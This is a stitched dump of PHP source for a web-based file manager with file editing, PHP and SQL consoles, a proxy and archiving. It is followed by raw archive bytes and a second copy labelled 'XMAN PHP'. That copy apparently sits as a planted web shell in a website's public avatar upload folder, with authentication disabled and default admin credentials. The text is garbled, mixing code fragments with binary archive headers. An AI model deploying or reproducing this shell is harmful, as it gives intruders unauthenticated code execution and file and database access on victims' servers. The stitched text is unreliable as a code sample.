		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
PK!��$>>5/59x4di/3md14.php.tarnu�[���var/www/html/back/storage/app/public/avatars/5/59x4di/3md14.php000064400000233110000000000000017663 0ustar00AAAA<br />
AAAA<br />
<?php
/* XMAN PHP vvbdfdfg ver 1.4ffdfgdg */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
